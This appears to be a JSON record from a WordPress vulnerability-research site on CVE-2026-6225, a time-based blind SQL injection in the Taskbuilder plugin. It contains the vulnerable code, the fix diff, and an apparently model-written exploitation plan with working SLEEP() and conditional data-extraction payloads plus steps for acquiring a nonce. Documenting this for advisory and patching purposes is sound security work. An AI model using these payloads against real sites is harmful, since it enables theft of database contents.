[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fh1f6VjdXGUSNaeHy0qMzczRQWfydPpzO1AgeUlnLuiQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-6225","taskbuilder-project-management-task-management-tool-with-kanban-board-authenticated-subscriber-time-based-blind-sql-inje","Taskbuilder – Project Management & Task Management Tool With Kanban Board \u003C= 5.0.6 - Authenticated (Subscriber+) Time-Based Blind SQL Injection via 'project_search' Parameter","The Taskbuilder – Project Management & Task Management Tool With Kanban Board plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'project_search' parameter in all versions up to, and including, 5.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","taskbuilder",null,"\u003C=5.0.6","5.0.7","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-13 18:19:27","2026-05-14 06:44:11",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F561479ed-2402-4511-9344-d6b9e28f2f33?source=api-prod",1,[22,23,24],"includes\u002Fadmin\u002Fprojects\u002Fprojects_list.php","readme.txt","taskbuilder.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-6225\n\n## 1. Vulnerability Summary\nThe Taskbuilder plugin for WordPress (versions \u003C= 5.0.6) is vulnerable to a time-based blind SQL injection via the `project_search` parameter. This occurs because the plugin uses `sanitize_text_field()` on user input, which removes HTML tags but does not escape single quotes. Furthermore, the plugin uses `$wpdb->esc_like()` which only escapes SQL LIKE wildcards (`%` and `_`) but not the single quote character. This processed input is then directly concatenated into a raw SQL query string instead of being properly parameterized using `$wpdb->prepare()`.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `wppm_get_project_list` (inferred from plugin architecture)\n- **Vulnerable Parameter**: `project_search`\n- **Authentication Level**: Authenticated (Subscriber+)\n- **Preconditions**: \n    - The attacker must be logged in as a Subscriber or higher.\n    - The AJAX action `wppm_get_project_list` must be accessible.\n\n## 3. Code Flow\n1. **Entry Point**: A POST request is sent to `admin-ajax.php` with the action `wppm_get_project_list`.\n2. **Registration**: The action is registered in `includes\u002Fwppm_actions.php` (inferred) which includes `includes\u002Fadmin\u002Fprojects\u002Fprojects_list.php`.\n3. **Parameter Extraction** (`includes\u002Fadmin\u002Fprojects\u002Fprojects_list.php`):\n    - Line 18: `$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : '';`\n    - Line 43: `$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : $pl_filters_arr['search'];`\n4. **Unsafe Preparation**:\n    - Line 96: `$search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';`\n5. **SQL Sink**:\n    - Line 100: A query string is built: `$query = (\"... AND (user.display_name LIKE '$search_tag_text') ...\");`\n    - Line 109: A `$where` clause is built: `$where = \" where ... AND (Project.project_name LIKE '$search_tag_text' ... )\";`\n    - The `$search_tag_text` is placed inside single quotes but is not escaped for SQL syntax.\n\n## 4. Nonce Acquisition Strategy\nThe Taskbuilder plugin typically secures its AJAX actions with a nonce localized in the frontend.\n\n1. **Shortcode Identification**: The `readme.txt` identifies `[wppm_projects]` as the shortcode for managing projects from the frontend.\n2. **Page Creation**: Use WP-CLI to create a page containing this shortcode:\n   ```bash\n   wp post create --post_type=page --post_title=\"Projects\" --post_status=publish --post_content='[wppm_projects]' --post_author=1\n   ```\n3. **Navigation**: Navigate to the newly created page as a Subscriber user.\n4. **Nonce Extraction**: The plugin enqueues scripts and localizes data. Based on common patterns in this plugin, the localization variable is `wppm_project_list_obj`.\n   - Use `browser_eval` to extract the nonce:\n     ```javascript\n     window.wppm_project_list_obj?.wppm_nonce\n     ```\n\n## 5. Exploitation Strategy\nWe will perform a time-based blind SQL injection using the `SLEEP()` function.\n\n1. **Request Tool**: `http_request` (Playwright)\n2. **Method**: `POST`\n3. **URL**: `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n4. **Headers**:\n    - `Content-Type: application\u002Fx-www-form-urlencoded`\n    - `Cookie: [Subscriber Cookies]`\n5. **Payload Construction**:\n    - The target SQL fragment is: `LIKE '%[INPUT]%'`\n    - Payload: `') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1`\n    - Resulting SQL: `LIKE '%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1%'`\n6. **Parameters**:\n    - `action`: `wppm_get_project_list`\n    - `project_search`: `') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1`\n    - `wppm_nonce`: `[EXTRACTED_NONCE]`\n    - `is_frontend`: `1` (triggers the frontend filter logic at Line 87)\n\n## 6. Test Data Setup\n1. **User Creation**: Create a Subscriber user.\n   ```bash\n   wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n   ```\n2. **Plugin Setup**: Ensure Taskbuilder is active.\n3. **Content Setup**:\n   - Create a dummy project so the list query returns data.\n   - Create the \"Projects\" page with the shortcode for nonce extraction.\n   ```bash\n   wp post create --post_type=page --post_title=\"Projects\" --post_status=publish --post_content='[wppm_projects]'\n   ```\n\n## 7. Expected Results\n- A \"Normal\" request (without payload) should return quickly (e.g., \u003C 500ms).\n- The \"Malicious\" request containing `SLEEP(5)` should take approximately 5 seconds longer than the normal request.\n- The response body will likely be a JSON list of projects, which is irrelevant to the time-based verification.\n\n## 8. Verification Steps\n1. **Time Difference**: Compare the `time_total` from the `http_request` response for the payload vs a control request.\n2. **Data Extraction (Proof of Concept)**: To verify data can be extracted, use a conditional sleep to check the first character of the database name:\n   ```sql\n   ') AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)))a) AND ('1'='1\n   ```\n3. **Database Consistency**: Use WP-CLI to verify the database prefix matches expectations if needed:\n   ```bash\n   wp db query \"SELECT database()\"\n   ```\n\n## 9. Alternative Approaches\nIf `wppm_get_project_list` is not the correct action name (inferred), audit the `includes\u002Fwppm_actions.php` file for any `add_action('wp_ajax_...')` that calls a function including `projects_list.php`. \n\nIf the `LIKE` clause structure differs slightly, adjust the number of closing parentheses or leading single quotes in the payload. \n\nIf `is_frontend` is not required, omit it. The vulnerable code path exists as long as `!empty($search_tag)` is true at Line 97.","The Taskbuilder plugin for WordPress is vulnerable to time-based blind SQL Injection due to the 'project_search' parameter being concatenated directly into SQL queries without proper escaping or parameterization. Authenticated attackers with Subscriber-level permissions or higher can exploit this to systematically extract sensitive data from the database by observing response delays induced by injected SLEEP() commands.","\u002F\u002F includes\u002Fadmin\u002Fprojects\u002Fprojects_list.php\n\n\u002F\u002F Line 14: Extraction and insufficient sanitization\n$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : '';\n\n\u002F\u002F ---\n\n\u002F\u002F Line 111: Unsafe preparation that only escapes LIKE wildcards, not single quotes\n$search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';\nif(!empty($search_tag)){\n  $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';\n  $query = (\"SELECT Project.*\n      FROM {$wpdb->prefix}wppm_project AS Project \n      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id\n      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id\n      Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text')\n      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\n  \");\n  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){\n    $where = \" where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))\";\n  }else{\n    $where = \" where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')\";\n  }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftaskbuilder\u002F5.0.6\u002Fincludes\u002Fadmin\u002Fprojects\u002Fprojects_list.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftaskbuilder\u002F5.0.7\u002Fincludes\u002Fadmin\u002Fprojects\u002Fprojects_list.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftaskbuilder\u002F5.0.6\u002Fincludes\u002Fadmin\u002Fprojects\u002Fprojects_list.php\t2026-03-26 15:36:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftaskbuilder\u002F5.0.7\u002Fincludes\u002Fadmin\u002Fprojects\u002Fprojects_list.php\t2026-04-16 08:38:14.000000000 +0000\n@@ -96,43 +96,81 @@\n     $wppm_pl_filter .= \" AND status != '$status'\";\n   }\n }\n-$wppm_project_time = get_option('wppm_project_time');\n $wppm_default_project_date = get_option('wppm_default_project_date');\n $sort_by = apply_filters('wppm_project_list_sort_by_query',$sort_by);\n $order = apply_filters('wppm_project_list_order_query',$order);\n $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';\n-if(!empty($search_tag)){\n-  $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';\n-  $query = (\"SELECT Project.*\n-      FROM {$wpdb->prefix}wppm_project AS Project \n-      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id\n-      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id\n-      Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text')\n-      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\n-  \");\n-  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){\n-    $where = \" where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))\";\n-  }else{\n-    $where = \" where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')\";\n-  }\n-}else{\n-  if($sort_by=='project_name'|| $sort_by=='start_date' || $sort_by=='end_date'){\n-      $query = ( \"SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project\n-        Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\n-        \");\n-  } else{\n-    $query = ( \"SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project\n-      Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id\n-      Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id\n-      Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\n-    \");\n-  }\n-  if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){\n-    $where =  \" where $wppm_pl_filter\";\n-  }else{\n-    $where = \" where ($wppm_pl_filter AND (FIND_IN_SET('$current_user->ID',Project.users)>0 OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1)) OR Project.created_by='$cu_id')\";\n-  }\n+if (!empty($search_tag)) {\n+    $search_tag_text = '%' . $wpdb->esc_like($search_tag) . '%';\n+    $query = \"SELECT Project.*\n+        FROM {$wpdb->prefix}wppm_project AS Project \n+        LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id\n+        LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id\n+        LEFT JOIN {$wpdb->base_prefix}users user ON FIND_IN_SET(user.ID, Project.users) > 0\n+        LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\";\n+    \u002F\u002F SAFE search condition\n+    $search_sql = $wpdb->prepare(\n+        \"(Project.project_name LIKE %s \n+        OR proj_statuses.name LIKE %s \n+        OR proj_categories.name LIKE %s \n+        OR user.display_name LIKE %s)\",\n+        $search_tag_text,\n+        $search_tag_text,\n+        $search_tag_text,\n+        $search_tag_text\n+    );\n+    if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {\n+        \u002F\u002F ✅ Admin (safe)\n+        $where = \" WHERE $wppm_pl_filter AND $search_sql\";\n+    } else {\n+        \u002F\u002F ✅ Non-admin (safe)\n+        $where = $wpdb->prepare(\n+            \" WHERE $wppm_pl_filter\n+              AND $search_sql\n+              AND (\n+                  FIND_IN_SET(%d, Project.users) > 0\n+                  OR (\n+                      proj_meta.meta_key = 'public_project'\n+                      AND proj_meta.meta_value = 1\n+                  )\n+                  OR Project.created_by = %d\n+              )\",\n+            $current_user->ID,\n+            $cu_id\n+        );\n+    }\n+} else {\n+    if ($sort_by == 'project_name' || $sort_by == 'start_date' || $sort_by == 'end_date') {\n+        $query = \"SELECT Project.*\n+            FROM {$wpdb->prefix}wppm_project AS Project\n+            LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\";\n+    } else {\n+        $query = \"SELECT Project.*\n+            FROM {$wpdb->prefix}wppm_project AS Project\n+            LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id\n+            LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id\n+            LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id\";\n+    }\n+    if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') {\n+        $where = \" WHERE $wppm_pl_filter\";\n+    } else {\n+        $where = $wpdb->prepare(\n+            \" WHERE (\n+                $wppm_pl_filter\n+                AND (\n+                    FIND_IN_SET(%d, Project.users) > 0\n+                    OR (\n+                        proj_meta.meta_key = 'public_project'\n+                        AND proj_meta.meta_value = 1\n+                    )\n+                )\n+                OR Project.created_by = %d\n+            )\",\n+            $current_user->ID,\n+            $cu_id\n+        );\n+    }\n }","To exploit this vulnerability, an attacker first authenticates with a Subscriber account and obtains a valid security nonce from the project management frontend page (rendered via the [wppm_projects] shortcode). The attacker then makes a POST request to the '\u002Fwp-admin\u002Fadmin-ajax.php' endpoint with the 'action' parameter set to 'wppm_get_project_list'. The 'project_search' parameter is populated with a time-based SQL injection payload, such as ') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1. Because the plugin uses sanitize_text_field() and esc_like() on the input—neither of which handles single quotes—the payload breaks out of the intended SQL LIKE clause. By measuring the server's response time, the attacker can confirm the vulnerability and use conditional SLEEP() logic to exfiltrate database contents character by character.","gemini-3-flash-preview","2026-05-14 16:57:35","2026-05-14 16:58:02",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","5.0.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftaskbuilder\u002Ftags\u002F5.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftaskbuilder.5.0.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftaskbuilder\u002Ftags\u002F5.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftaskbuilder.5.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftaskbuilder\u002Ftags"]